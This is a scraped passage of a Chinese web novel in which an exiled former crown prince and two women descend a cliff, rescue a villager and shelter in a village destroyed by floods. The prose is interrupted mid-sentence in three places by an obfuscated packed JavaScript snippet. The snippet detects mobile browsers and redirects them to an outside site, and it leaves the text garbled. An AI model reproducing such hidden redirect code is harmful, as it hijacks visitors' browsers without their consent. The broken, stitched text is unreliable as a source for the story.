云双从后头走来,与小姐站在一起,看清了那路的情况:这哪里是路?狭窄逼仄,一个个浅坑近乎和地面垂直,其上青苔遍布,怕是刚踏上去就要摔落。她想都没想,直接道:“这如何走得,没有其他的通路了吗?” 江知雪听后眉头轻蹙,她总觉得云双有些不对劲。往日里她就算再跳脱,也不会失了分寸。方才那句话,虽说的平和,可江知雪同她生活近十年,一下子就听出了其中隐约的含枪夹棒。 江知雪往前追溯,恍然发觉似乎从被黑衣人行刺那日,云双就有些古怪,前夜里安慰她的话也透着股与她以往不相符的样子。她不禁懊恼,才被流放,又遇追杀,落入这上下不得的峭壁,总归有些情绪。云双原本分明不必经历这些。都怪自己这两日昏昏沉沉,竟丝毫未觉察出她的异样。 本欲说出口的责备的话语转为了一声叹息,待出了这山崖,她定要好好宽慰她,平日里也需多关照些,不能忽视了她的感受。 沈思安见二人皆是犹豫不决,云双的话语依旧刺耳,举在空中半晌的手不由得缓慢放下。 落在他身上的光消失了,江知雪看到一丝失落从他身上划过,当下不再迟疑,几步过去,迈向石坑,一只未历什么苦难的柔荑落进他即将垂下的骨节分明的大手中。 她看见沈思安情绪万年不变的眼中现出诧异。 沈思安确实没想到她会大胆过来,并主动拉住自己的手。一如江知雪也未曾料到自己的一系列猜想都是自作多情,他只是想带她们二人安全下山,其他的,从未在他脑中出现过。 钉进石壁的铁链下缀着数根绳索,一圈一圈,缠绕盘旋。沈思安递给江知雪两根,松开她的手,又拿一根系在自己腰上。 江知雪照着他的样子系起来,回头去劝云双。 她再找不到别的路,小姐也随那废太子跑了,思来想去,梗着脖子去接了小姐手中绳索。 江知雪手中忽传来一阵冰凉,沈思安泛冷的手十分自然地牵起她的手,三人皆挎着包袱,贴紧崖壁,小心翼翼往下走去。 冰冷与她手中温热碰撞、融合,化为一汪活水,落进她心里,令她心跳如鼓擂。 她低垂眉眼,长睫轻颤,看着面前他们俩紧紧握住的手,耳尖被血色浸透。 灰白布衣袖口随着他的步子上下浮动,隐在袖中的腕处随之若隐若现。他的肌肤依旧苍白,透露着病态。当初那道深可见骨的伤口已经结痂,周围的皮肤泛着粉。 江知雪想到被刺杀前,还未问出口的话。她想问他的手是已经好了吗?几次手心写字、几次牵手、包括这次的相握,轻柔却有力量。 可谢怀清分明曾说他的手筋被挑断了。她虽不通医术,亦在书中多次见过,筋骨断裂之人形同废人,骨可再续,筋不能再生,手筋断者便是失去双手,再无法控制活动。 难道书中所述是假?还是说沈思安的手筋根本未被挑断?那他先前展示出的一切......江知雪不敢再往下想。 崖间湿气深重,头发粘在一起贴在脸上,水汽顺着发稍滴落,打湿几人衣衫。 石坑路陡峭,青苔似乎才生出,走上去竟并不觉危险,反而每个坑都能踩得稳妥。越往下走,道路越宽阔平坦,也越显陈旧,到后头,更是能容两人并行通过。或许曾有人试图就着崖壁挖出一条上去的路,开采至半途不知为何终止,而上面的石坑明显是后人所凿,至于是谁?江知雪的目光不觉落在沈思安身上。 三人各怀心思,一路无话。 太阳已移向中天,却丝毫未影响深林的幽静阴冷。浑身湿哒哒的,江知雪和云双已然感到不适。几阵风吹过,更添冷意。 江知雪看向前面的沈思安,他恍若未觉,仍一步一步走得稳健。再看向云双,她一张脸已经难受得皱巴巴的,仿佛下一刻就要开始抱怨。 江知雪心里愧疚顿生,她轻声宽慰道:“再坚持一会儿,估计就快要到地面了。” “没事的小姐,我能行。”云双摇摇头,脸上挤出一抹笑。 果然又行几步,听得水声潺潺,鹿鸣声声。 江知雪欣喜道:“云双,快听,是水声!” 云双亦十分激动:“小姐,我听到了!我们终于要离开这个鬼地方了。” 二人皆是迫不及待的样子,沈思安见此默默加快了脚下的步伐。 一刻钟后,满身狼狈的三人站在那片溪边。溪水清澈,浅浅一层铺在大小不一的石头上,向远方流去。不远处,有鹿群三三两两聚集,喝水歇息。 江知雪从前只在话本中见过,这是第一次在现实中见到,新奇不已,不由看得呆愣。 “小姐从前没见过鹿吗?”云双蹲下身,掬起一捧水,溪水冰冷,刺骨的凉意冻得她一个激灵,却总好过脸上粘腻的不适。溪水覆到脸上,她只觉神清气爽,也反应过来自己问了个蠢问题。 她自幼识得小姐,应是最了解她们处境的人,鹿这种在京城只出现在皇家狩猎场和菜市屠宰区的东西,小姐又怎会得见。 江知雪不以为然,抑或者她并没有对这句话深思,只是摇摇头回答:“没有。” “你之前见过,怎么从没听你说过?”江知雪也蹲下身,同云双蹲在一起,掬水洗脸,复又看向她,杏眼里尽是纯澈。 云双还沉浸在方才蠢问题的反思中,被小姐突然的问话和动作吓得心头一跳,口中却老实道:“见过,在幼时逃荒的时候。”还有一句话她对着小姐的眼神没说出口:那会它们被当作他们的口粮。 “你呢?”江知雪抬头,询问沈思安。 沈思安倚在一棵树边,并未做出回应,一双眼睛始终盯着鹿群那边。 江知雪循着他的目光看过去,只见三四头鹿聚在一起,似乎也没什么奇怪,但他一副不欲多说的样子,她只得按下心中好奇,准备移开眼。 “他之前是太子,肯定见过……”云双在一旁幽幽开口。 未及她说完,江知雪余光忽然瞥见那几头鹿在围着一个东西,看形状,竟像是一个人! 她定睛细看,真是一个人倒在那里。 她眼睛瞪得滴溜圆,一手捣了捣云双的胳膊,一手哆嗦着指向那处,紧张道:“你看那里,是不是躺着个人?” 云双咽下未说完的话,顺着小姐手指的方向一瞧,顿时短促地叫唤了一声:“啊——”。她双手抓紧小姐衣衫,抖着声音问:“不会、不会是死了吧。” 幼时的遭遇让她见惯了生死,同时也让她害怕再见到生死。 “去看看?”江知雪试探着询问。 云双头摇得拨浪鼓,“这里可是数百丈的崖下,四周都荒无人烟的,凭空出现个人,怎么想怎么古怪吧。” 江知雪起身往前迈的步子不动声色收了回来:“莫不是那个东西?” “说不准。”云双几乎瞬间听懂了她的意思。小姐自幼怕鬼,每每听到关于这方面的故事或传说,都退避三舍,曾好几次被其吓哭。 二人皆不敢去,却又担心万一真的是还活着的受伤的人,这里可不比崖上,夜间的温度恐怕能冻死人。 两道视线落在沈思安身上。 沈思安双手抱胸,淡淡地瞥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16500772|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了江知雪一眼,没有任何表示,却脚随风动,趟水几步走了过去。 他身姿修长,步态雅致,粗布衣都掩不住周身贵气,固发的木簪在上次的打斗中掉落,现下他一头长发披散,顺风飘动着。江知雪看着他的背影,心里竟尝出一丝甜意。她知他早就发现了那个人,虽不明白为何见死不救,可因着她和云双,却还是违背自己前去查看,如何不叫人感动。 鹿群并不惧人,相反,它们见沈思安走近,从后用头拱着让他过去。 地上躺着的是一个中年男子,沈思安蹲下身,轻轻碰触对方手腕,呼吸沉稳、心跳有力,除了有些失温外,并无大碍。 他回头招呼她俩过来。 江知雪提起的心随着他的招呼落了下来,还好是活人。 这条溪水虽浅,却无干净落脚地。二人也与沈思安一样,趟水而过。反正衣服早已湿透,也不差这一星半点。 沈思安从包袱里寻了几味药草,就着溪水碾碎,喂进了那人嘴里,又用手捧了些水给他喝下。动作熟练利落且粗暴。 “他没事了吗?”江知雪在一旁轻声道。 沈思安点头,眼神突然锐利望向某处。他迅速起身,欲拉江知雪二人离开。 但声音却先一步从远方传来:“老头子,铁立,你在哪?” “我们在这儿!”江知雪听出了是一位中年女子的声音,猜想她要寻的人或许就是这位晕过去的大叔,心大地大声回应着。 “铁立,是你吗铁立?” 沈思安皱眉上前几步,面对着声音传来的方向,抬手将两人护至身后。 “怎么了吗?”江知雪双手交握放在胸前,担忧问道。 云双在一旁恨铁不成钢道:“哎呀小姐,这里是什么地方,我们才经历过什么?万一那声音是坏人伪装的怎么办,又或者那个人就是坏人呢?” “遭了。”江知雪捂住嘴闷声道,心中后悔不已。 而此时,对江知雪他们来说真正的坏人正在星涯坡上。 陈兴财双手反绑,被两人左右架着,押到坡边。血迹滴滴答答蜿蜒了一路。 那日打斗的痕迹和尸体早就被清理得一干二净。几名暗卫皆穿着寻常衣物,脸上表情却并不寻常,各个严肃凶狠。 “说,他们从哪儿掉下去的?” 陈兴财被押着几乎动弹不得,脸色因伤口的疼痛变得苍白,他慌忙说道:“就是这里,就是这里!我亲眼见他们从此处滚了下去,随后从那缓坡掉下悬崖。” “可有下去的路?” “此崖数百丈,掉下去就是四分五裂,从来没人敢下去啊,又哪来的路。我看那废太子八成早就死了。” 有人从后踢了他一脚,“诶呦。” “大胆!我们要的不是可能,而是肯定。给你一天时间去寻路,若寻不到,就把你踹下去给我们探探路。”踹他的暗卫凑近他阴狠道。 陈兴财简直欲哭无泪,早知如此,他就不该去贪那笔钱财,谁知半路杀出个王正年,他竟没成为那些恶鬼的刀下亡魂,如今还想让自己下地府,他真是恨不得生吞活剥了那个姓王的。 回想今日一早,沐芳姑姑着便服笑盈盈过来,将多于赏金三倍的银钱放在桌上时,他都已经想好了要去哪里逍遥快活。 手指还未碰到银子,那个沐芳就脸色一沉,拍手叫来了四个暗卫,警告他要么找到废太子一行的下落拿着这些银子离开,要么就死路一条。 他当场就准备翻窗逃走,可那几个暗卫不是吃素了,他还没靠近窗户就被抓了回去痛打了一顿。而沐芳又拿了桌上银子,拍拍手走了人。 陈兴财站在坡边被风吹着,寻不到下去的路,也看不见今日后前方的路,恨不能一头栽倒下去。 29. 行路难(九) 来人身量清减,脚下却生风。她一身衣衫简陋,细看还有补丁,以一种极巧妙地手法缝于花纹和针脚处,头上只一根银簪,将夹杂着星星点点银丝的粗发挽起。脸色蜡黄,皮肤干燥,已有细纹爬上眼角眉梢。这种人云双见过太多,大抵都是忙于生活的人。 “你们是......”她在距离江知雪他们几步远的地方停下脚步,警惕开口。此处没有通路,除非从那崖上跳下来,否则绝不可能有人来此,而跳下来的也都成了死人。眼前三人个个细皮嫩肉、气质古怪,尤其前面那个男的,脸上的纹路像是刺青,保不齐是什么盗贼恶匪。 沈思安观她脚步虚浮,毫无内力,不是会武的样子,不动声色放下了手。 江知雪在他身后瞧得仔细,见他动作,猜想对方恐怕不是坏人。略思索一番,她从沈思安身后探出脑袋,面带笑容让自己显得亲和些:“大娘,方才听您似在找人,我们碰巧遇到个昏过去的大叔,不知可是您要寻的人?” 她说着便推推云双,同她一起让开一条道,让对方看得仔细。 那妇人打眼一瞧,便慌了神,也不管那几人是何身份了,快步跑过去,将人扶起靠在自己身上,担忧道:“铁立!怎么了这是?早上出去的时候还好好儿的啊。” “小姐,万一她讹上我们了怎么办?”云双凑在江知雪耳边小声说。 江知雪嘴巴微张,一脸惊讶,她从未想到过这点。以前在引梅园,虽常被安国公府中人苛责忽视,但除此之外她都被阿娘她们护得很好,出门在外也不过行走书铺,宴席里更有谢怀清相陪。对付江望月她们兴许还能和其过个两招,但在外她简直就是个“睁眼瞎”。 “应是……不能够吧。”她坚守着纯真内心。 云双皱眉,拽了拽她的衣袖,解释道:“人心难料。” 一旁的沈思安听着她俩的小声嘀咕,突然牵过江知雪的手,不管她作何反应,兀自翻开她手心,在上头写道:气血亏虚,少时便醒。 江知雪恍然,心中急急措辞,有些紧张道:“他是气血亏虚之症,我们方才已为他用了药,大概再过一会儿就会醒了。” “真的?”那妇人抬头,犹闪着泪光的眼中将信将疑。 “我身边这位......他略通些医术。”江知雪用手指指身旁沈思安,一时竟不知如何称呼他,一如她不知他懂医术。 妇人看向沈思安,口中喃喃,像是询问,又像是自言自语:“好端端的怎么会气血亏虚呢?” 沈思安对此不作回应。江知雪对这一情形亦有些尴尬,不知怎么解释:“这......” 正此时,那位唤“铁立”的大叔几声咳嗽,睁开了眼。 他撑坐起身,看到身边的妻子,疑惑道:“你怎么在这儿?”又紧着眉头用手拍了拍头,“我这是怎么了?” “你还问怎么回事!平日里你晌午前就归家,今日都过了一个时辰还没回来,我心里着急便来寻你,你知不知道你都晕倒在这儿了?”那妇人嘴上虽嗔怪,眼里却是满满的心疼。 “竟有此事。” “是这几位救的你。”妇人朝江知雪三人努努嘴,趁着搀扶丈夫起来的间隙耳语道:“我瞧着他们有些古怪。” 男人拍拍妻子的手让她宽心,随后拱手朝三人道:“我叫张铁立,这位是我内人范氏,在此多谢几位救命之恩。”说罢抬头朝他们望去,一双眼睛隐晦地上下打量着,心下惊奇,面上却不显,复又恭敬问道:“不知恩人如何称呼?” 眼前几人虽着粗布衣,却长相秀美,姿态挺拔,暗含贵气,与周遭全然格格不入,恐怕是什么大人物。就是不知如何来的这儿,又是做什么。 江知雪未察觉对方的打量,但也学聪明了。前两天才被几伙人追杀,不敢再乱透露身份:“我唤江雨,这是家妹江云,这位是……我夫君沈山。” 提及“夫君”二字,她的脸难免一红,余光偷偷看向身边人,希望他不要怪罪。 被擅自更名为“沈山”的沈思安一如往常,没什么反应。 江知雪暗暗呼出一口气,心中却似被针扎了一下,说不清是什么感觉。 “不知几位恩人从何处来?”张铁立有心试探。 “我们是来京城寻医的,谁知这马不听使唤,到了星涯坡竟直愣愣地往崖边冲,我们跟着一起掉了下来。万幸崖下有颗古树,护住了我们三个,否则恐怕就要……”云双抢先回道,说着说着声音里带了哭腔,一副泫然欲泣的模样。 果然是几个故意穿着普通的大人物,普通百姓坐的都是驴骡牛车,哪有银钱乘马。张铁立自觉摸到对方底细,心头难免有些得意。随后又是一顿:不知他们有没有见过自己的儿子。 太阳西行,重叠树木掩映下,光线悄然变得昏沉。 江知雪看天色不早,接过云双的话便要与张铁立夫妻二人辞别:“我见张叔现下已无大碍,天也快黑了,恐夜路难走,我们便先行一步告辞了。” 夫妇二人对视一眼,张铁立张嘴就要开口。范氏轻拉他衣袖,幅度极轻地摇了摇头。 张铁立也摇了摇头,却是否定了范氏的想法,他语气又恭敬了不少:“几位有所不知,此处密林绵延几百里,未有通路,不熟悉这里的人贸然走动,怕是会迷了路。不是我故意吓你们,夜间虎豹豺狼游走,也恐有性命之忧啊。” 他这番话说的诚恳,惹得范氏频频皱眉,小声埋怨:“你干什么?他们身份不明,万一是一伙歹人,咱们还有没有活路……欸你、你不会还想让他们住在咱家吧?” 夫妻二十多载,他一个表情,范氏就知道他在想什么。瞧着张铁立脸色温和又殷勤的样子,她一下子就猜了出来。 果然下一瞬,张铁立就如此说道:“几位恩人不如今夜暂住咱们家,待明日再寻出路也不迟。”末了又补充一句:“若是没耽误各位行程的话。” 江知雪和云双心里俱是一惊,她们是想尽快离开这个地方,但绝不是以送命的方式。 他们的食物已所剩无几,若这片林子真有几百里,就算没遇上那些凶兽,只怕也要在半路上饿死。 江知雪左右为难,因着云双前头的那几句话,也觉防人之心不可无,害怕他们夫妻不是好人,不敢妄断,只好将目光投向沈思安。他一向沉静有主意,听他的总不会错。 若是沈思安一人,在刺杀当天他就已经脱身离开,眼下只怕早与明澜会合,动身前往下一处了。 可现在还有江知雪和云双,她们经历这些皆是因为他,他不能放任她们不管。 所以即便皇后或已察觉,以她多疑的性子定是派了人搜寻他们的下落,他还是对江知雪摇了摇头,在她手中写道:“暂住。”那二人没什么威胁,此时奔波,她俩不会活过今晚。 江知雪见他点头,深福一礼,从善如流道:“既如此,多谢张叔范婶了。” “别别别,几位是我的救命恩人,能答应暂住是我的荣幸。不过添几双筷子,举手之劳的事,怎能谈谢。”张铁立连忙往前一步,虚虚扶起江知雪,却又暗自扫了眼沈思安及他的手。 范氏简直丈二和尚摸不着头脑,不知他在搞什么幺蛾子,但看他一反常态的讨好样子,估计是察觉到了什么,便也勉强笑着应承点头。 云双偏过头,在江知雪看不到的地方撇撇嘴,心里委屈得要命:小姐真是变了,十多年的感情,居然去问那个废太子的想法都不问她。 枝叶笼盖,难见天日,野草深深,没过脚踝。即使已至下午,林中水汽氤氲依旧,凝结的露珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16512424|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挂在草木枝叶上,沿着茎络流动,汇聚到一处,直至叶片再承不住其重量,“嘀嗒”坠落于地。 一阵风过,林间便下起了露珠雨。 张铁立还是有些虚弱,被范氏搀扶着走在前面。 鹿群目送着他们离去。 一路上只听水声嘀嗒,竟无一人说话。江知雪几次张嘴,却不知该开口说些什么,只好又低下头,看着脚下的路。 与其说是路,倒不如说是地面。才三月,杂草就疯长成深绿色,叶片个个大得离谱,最高的已及她的膝处。 这里真的是有人居住过的环境吗?江知雪忍不住这般想道。 “啊!有虫!”突然,她盯着衣裙下摆大叫了一声。 是一只螳螂,此刻正趴在她的衣裙上面。 江知雪此前从没见过这种东西,有着青绿色的外壳,镰刀似的爪子紧紧抓住她的衣裙,任凭她如何拍打其附近,也不动弹一下。简直让她汗毛倒竖。 张铁立和范氏同时回头,弄明白情况,张铁立递给范氏一个“果然如此”的眼神,那故弄玄虚的架势搞得范氏稀里糊涂的。 云双在左侧张口安慰:“姐姐,只是一只螳螂,它不是坏虫,不必担心。”她还记得先前伪造的身份,却并未上手帮忙。她仍堵着气。 安慰的话语此刻并不能解江知雪的燃眉之急,四双眼睛齐齐盯着她,而她竟只是被一只螳螂吓到,羞得她只想钻进地洞。她多么希望谁能赶紧将它弄走。 视线里出现了一只苍白的骨节分明的手。沈思安弯下腰,倾身向前,左手快准狠地一把捏住螳螂翅膀,将它扯起,远远扔了出去。 “谢谢。”江知雪由衷地感激,她重重呼出一口气,脸上还残存着未褪去的羞红。 张铁立夫妇只当是小夫妻间的小情趣,笑着调侃了几句,直把江知雪说得又红了脸颊。 沈思安对她摇摇头,表示不用谢,眼睛不着痕迹地瞧了云双一眼。 方才他一直在等着她的动作,可她说了风凉话后迟迟没有反应,反而好整以暇地看着,任由她的小姐害怕。若说对他如此,他能够理解,厌恶是他此生最习惯的感情。可她同江知雪一起长大,十多年的相处岁月,如此袖手旁观,实在令人匪夷所思。 他的目光不自觉看向江知雪,不知她此时作何感受。 江知雪的脸蛋仍红扑扑的,嘴角挂着浅笑,仿佛丝毫未察觉到的样子。可她的眼睛骗不了人。那双清澈的杏眼分明在颤抖着,诉说着她的难过。 她把云双的一切怪异举动归咎于自己,深觉是自己太忽视了她,才会让她这般与自己闹脾气。 江知雪拢在袖中的双手暗自捏紧,同他们继续向前。 有了刚才那一场闹剧,她似乎也打开了话匣子。 《南田旧志》中提到过,“卑湿之地,灾病无绝,民难安生”,此处正符合书中描述,太过潮湿,不像是能够生存的地方,地上及膝的杂草也能证明这点。那他们二人怎会生活在此? 她实在好奇,便也真问了出来。 “张叔范婶,你们一直生活于此吗?” “是啊,我们的祖辈在这里定居,躬耕播种,劳作丰收,我们也想效仿他们,在这个村子继续如此。”张铁立背对着他们,笑着边走边说。 江知雪不敢置信:“您说这里是……村子?”这里不是星涯坡吗?没有通路的悬崖底下。 “我没告诉我几位恩人吗?”张铁立疑惑地回头,看两个姑娘都是一脸懵的状态,一拍头,“嗨呦,瞧我这记性,竟忘了告诉你们,这里啊,叫虎头村。” “老头子……” 沈思安脚下动作一顿,眼中闪过一瞬震惊,望向前面那对互相搀扶着的夫妇。在众人未反应前,又恢复如常。 30. 虎头村(二) 张铁立说,村子从前是以人数多的姓氏命名,直到后来这里出了位举人,他归返家乡,瞧见不远处一座山,正似一头伏地的猛虎,虎为凶兽,亦是神兽。此后,这里便成了虎头村,祈虎驱四面灾邪,佑八方平安。 他的语调轻松,声音中却有着深沉的怀念。言至中途,他的眼中已隐含热泪,后头的话在口中转了个弯:“嗐,果然是年纪大了,就爱回忆过去,不过是些陈芝麻烂谷子的事,让几位恩人见笑了。” 他回头,朝身后几人拱手致歉,复又说道:“路面湿滑,还请恩人当心脚下。” 江知雪温和笑着道谢,非但没从张铁立解释虎头村名字的由来中知悉答案,反而愈发好奇。 之后她又旁敲侧击问了些问题,那夫妇二人皆答得巧妙,似乎有意在隐藏着些什么。她心中不免担忧,看看云双,对方没什么反应。她又转头望向身侧的沈思安,却发觉他竟盯着路面,似有些心不在焉。 林中无路,几人绕过或高大或低矮的树木,蜿蜒向前。约莫过了半个时辰,在江知雪和云双气力快要耗尽时,终于得见天日。 眼前林木豁然减少,地势平坦,脚下的杂草是明显被人割过的痕迹。 天上透着浅蓝,云层稀稀拉拉地浮荡在空中,春日午后的太阳光就这样直直冲散了些许水汽,明晃晃地照在人身上,虽仍旧潮湿,却引得云双一阵舒服的喟叹。 湿冷的身子渐渐回暖,江知雪此刻只想躺在地上,被太阳晒透。 张铁立见两个姑娘疲惫不堪,赔着笑道:“再走不远便是我家了,”又打量一遍旁边杵着的沈思安,见其脸色冷淡,他不敢询问,便只询问她们姐妹俩:“两位恩人可要在此稍作歇息?” 暂住一事已是麻烦他们,即使半路就已累极,脚下也生了痛,江知雪并不愿拖累一行人前行的进程。 可眼下张叔既然提了,她亦想在此歇歇,顺带理一理杂乱无端的头绪。 她张张嘴,正要点头同意,云双抢先一步:“不碍事的,我们能行,总不好耽误张叔范婶您二位的时间。”她只想快些换了身上湿衣,坐在干净的凳上好好休息,再不愿在这湿林中多待一刻。她知村户人家事情繁忙,以此为由他们定不会再劝说。 果然,张铁立听了乐呵呵地笑,感谢姑娘体恤,不再耽搁继续往前走去。 江知雪心下一顿,放在袖中的手有些颤抖,她垂下眼睫,没说什么。 此后一路开阔,可依旧未见其他人影,更别提什么房屋庄稼田地了。 连云双也察觉出了不对劲,她没江知雪那么多顾及,直白问道:“张叔,走了这么久,怎么没见其他村民啊?” 张铁立知此事怎么着也是瞒不住的,在范氏亦悲痛担忧的目光下,叹了口气,声音变得苍白:“都在呢,都在这里了。” “什么?”云双有些没听懂。 江知雪也睁大了眼睛,只沈思安默然抬头,看向前方。 “八年前那场天灾,所有人都埋在地下啦。” 一句话,四周鸦雀无声,仿佛连风都停止了吹动,分明方才还暖和的太阳,此刻打在身上竟泛着丝丝寒冷。 江知雪哀恸之余脑中恍然,先前的种种疑惑突然被一根线串着,有了答案。 “不过也好,他们被自幼扎根的土地盖着,有虎神庇佑,也算安眠。”张铁立干笑两声:“况且再也不用为生计发愁,多好啊......” 范氏抬手拭去眼角泪水,随后轻拍张铁立的后背。 云双心有戚戚,这话太让人熟悉,她每次思念家乡、思念亲人时,也是这般安慰自己。 她放轻了声音:“八年前,可是那场水灾?” “正是。”张铁立有些吃惊,他观这俩小姑娘年岁不大,当时应当才四五岁的孩童,如何知晓得这般清晰。“莫非……” 他的话还未说完,云双便接着道,言辞间有些激动:“当年我的村庄也被大水淹了,若非……”她想说若非小姐收留,恐怕也没了活路。又想到此刻身份,话头一转:“若非好心人收留,怕是我们姐妹俩早去了那阴曹地府。” 云双说着,手攀上了江知雪的胳膊,以示姐妹情深。 往日里,江知雪此时定是十分心疼云双的遭遇,并竭力配合她。可今日,江知雪心中说不清什么情绪,只是任由对方动作。 “呸呸!人好好的,这话可不兴说啊。”没想到她们也是苦命人,张铁立一时间竟觉得和他们亲近了不少。不过瞧他们现在这气质模样,应是遇到了好人家。 悲痛的氛围并未持续太久。 几人又往前走了段路,终于远远地瞧见了几间矮屋。 黄土砌墙,茅草作顶,周围用篱笆围成小院,又隔了一块地,圈养了些鸡鸭。 院中放了张小桌并几只小凳,造型粗糙简陋,明显由他们亲自动手做成。桌上搁着张簸箕,里头是浅浅一层稻谷。前头还晾晒着二人干净的衣物。 有多少年没见过这样的房屋了?云双站在屋前,一时感慨万千,看着它,竟觉得一眼望到了头。她的目光不禁瞥向范氏头顶,雪亮的银簪在太阳下反射着光,只觉这支簪子恐怕是他们手中最值钱的物件了。 范氏搀扶张铁立在小凳上坐下,顺手端走桌上稻谷进了屋,没一会儿,又拿来一壶水和几只茶碗。 壶口和茶碗边沿多少有几处破损。她兀自斟了水,又向前去收拾晾好的衣裳。 “家中物什简陋,还忘恩人们不要嫌弃。”张铁立面上有些窘迫。 江知雪上前在桌边坐下,将肩上包袱放至腿上,端起茶碗浅饮一口,笑着说:“您收留我们暂住已是大恩大德,我们怎会嫌弃呢?何况今日搭救正如张叔先前所言,不过举手之劳,您与范婶唤我们名字就好。” “好好好!那……我就唤你们小雨、小云、小山?”张铁立见她神色认真,也不客气,高兴问道。 “诶。”江知雪继续笑着,应了一声。 张铁立瞧云双和沈思安还站在院中,又连忙唤道:“小云,小山,奔波了那么久,过来坐下喝点水吧。” 云双也高兴应了,几步过去挨着江知雪坐下。沈思安亦寻了江知雪右边的位置,没什么表情地对他点了点头。 几人喝了水,又唠了些常话。 “我看张叔脸色还是不大好,还是应在床上养养的。”许是因为经历过同样的灾荒,云双对他格外热切。 张叔摆摆手:“可不行,虽说现在这里只有我们夫妻二人,用不上银钱这些,但到底还是靠天靠地吃饭。这里气候不好,干爽的日子可不多,耽误得久了,怕是赶不上好时候,也是对土 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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入目已是一片红肿,在未经太阳晒过的雪色皮肤上尤为明显,侧边甚至起了几个水泡,脚底也因长时间穿的湿鞋泡发了白。 可眼下也不是管它的时候,沈思安还在外头等着,他病还没好,又那么娇弱,万一加重了伤势,累死累活的还得是她。 这般想着,江知雪赶紧套上干净鞋袜,掀开门帘让他进来,自己也跟在后面。 沈思安将包袱放到桌上,随后微侧着身子目不转睛盯着她。 “怎么了?”江知雪伸开胳膊左右瞧了瞧,并未发现什么不妥。 沈思安无声叹了口气,指指自己,又指指她,然后两手放在腰带处,作势就要解开它。 江知雪看懂后面上一红,理智让她快些出去,但不知为何,心中隐隐并不想离开。 几番思想斗争下,她梗着脖子装作满不在意道:“你的手还伤着,还是我来帮你吧。当时你重伤昏迷,我可是该看的不该看的都看了。”最后一句话,她几乎是小声且快速地嘟哝着说的。 但沈思安何等耳力,轻飘飘的一句话就这样重重地砸在他耳朵里,砸得他耳尖通红。 江知雪最终还是被请出了门,准确地说是自己走出了门,此刻正郁闷地蹲在门口,脑海里尽是方才沈思安脱衣的画面。 是的,沈思安真的当着她的面解了衣带。她本以为他会拒绝,谁知他真这么无耻。在他胸膛苍白皮肤才露出一点时,她就脸色通红地跑了出来。 江知雪不敢去想自己落荒而逃的样子,心中简直后悔不已。 31. 虎头村(三) “你说你们是去京城寻医,可是谁得了什么病?”简陋厨房里,范氏试探着问一旁帮忙择菜的云双。这小姑娘着实热情得紧,本以为是个没做过粗活的娇小姐,倒没想到她手脚麻利,做事又快又细致,短短一会儿功夫,范氏就喜欢上了她。 “当然,若是不方便......” 云双正愁无人发泄自己的一腔委屈,好不容易逮着个机会,又怎会轻易错过。 她赶紧摇头摆手,嘴上不在意道:“原就是众所周知,不妨事的。” “是废......是我姐夫,他前不久突然口不能言,手上也没了力气,人更是日渐消瘦。刚开始那段日子连床都下不得,家中四处求医用药也不见作用。这些天好不容易有了好转,便想着赶紧带他来京城瞧瞧。” “我就说嘛,他那么高的身量,却瘦得一阵风就能刮跑,一路上到现在这么长时间,也是光听你们在讲话,没见他张过口。听你说是来京城寻医,我心里头也隐隐猜测八成是为了他,竟果真如此。” 一筐子绿叶菜在范氏的说话声中被理得干净,被她拿着放入旁边盛着水的木盆中。她手中忽然一顿,又打量了几眼面前的小姑娘,疑惑道:“我看你年岁不大,你姐姐恐怕也比你大不了多少吧。这么小,大人怎么放心只喊你们姐妹二人带着他过来呢?” 云双的两弯眉毛浅而细,随着范氏的话向下撇去,染上一抹忧愁:“家中事务繁忙,实在抽不出空......”她说着说着,声音就低了下去,眼里也溢出委屈来。 范氏连忙问:“怎么了这是?可是有什么不敢说的?”她这几年虽没见过世面,但几十年的岁数也不是白活的,况且还有从前和村子里的八婆互相使心眼子的经验,一眼就看出云双是想说不敢说。 云双眼中已蓄起泪水,她抬头小声询问:“我……我真的可以说吗?”真是一副我见犹怜的样子。 “放心,这里没有旁人,我断不会说出去的,心里难受,说出来总归会好些的。”范氏擦干手上的水,轻轻拍了拍云双的后背。从前,她的儿子也是这般,受了委屈拼命忍着不说,直到她发现才“哇”地哭出声来。 “其实,我是替我姐姐委屈。”云双开始将江知雪的事迹掺着话本里的故事说出来:“实不相瞒,我们是一富户人家的丫鬟。而我姐姐,是替了小姐的婚事,嫁过去才知那少爷体虚身弱,实打实的药罐子一个。姐夫家兄弟众多,他在其中根本不受重视,常受欺负。” 她以袖掩面,泪水还未止住又流了下来:“她上侍公婆,下顾丈夫,可公婆苛责,丈夫软弱,她来回受气。前不久姐夫突然说不了话,卧病在床,姐姐的生活更是每况愈下。可谁在乎呢?到底是小姐于心有愧,给了我银两托我带着姐姐去京城为姐夫寻医,这才有了现下一口喘息。” “竟有此事!那一家人真是歹毒得狠!”范氏直起身子义愤填膺,又转念安慰:“不过,那沈山人看着还是不错的,今日我们第一次相见,他还护着你们呢。” 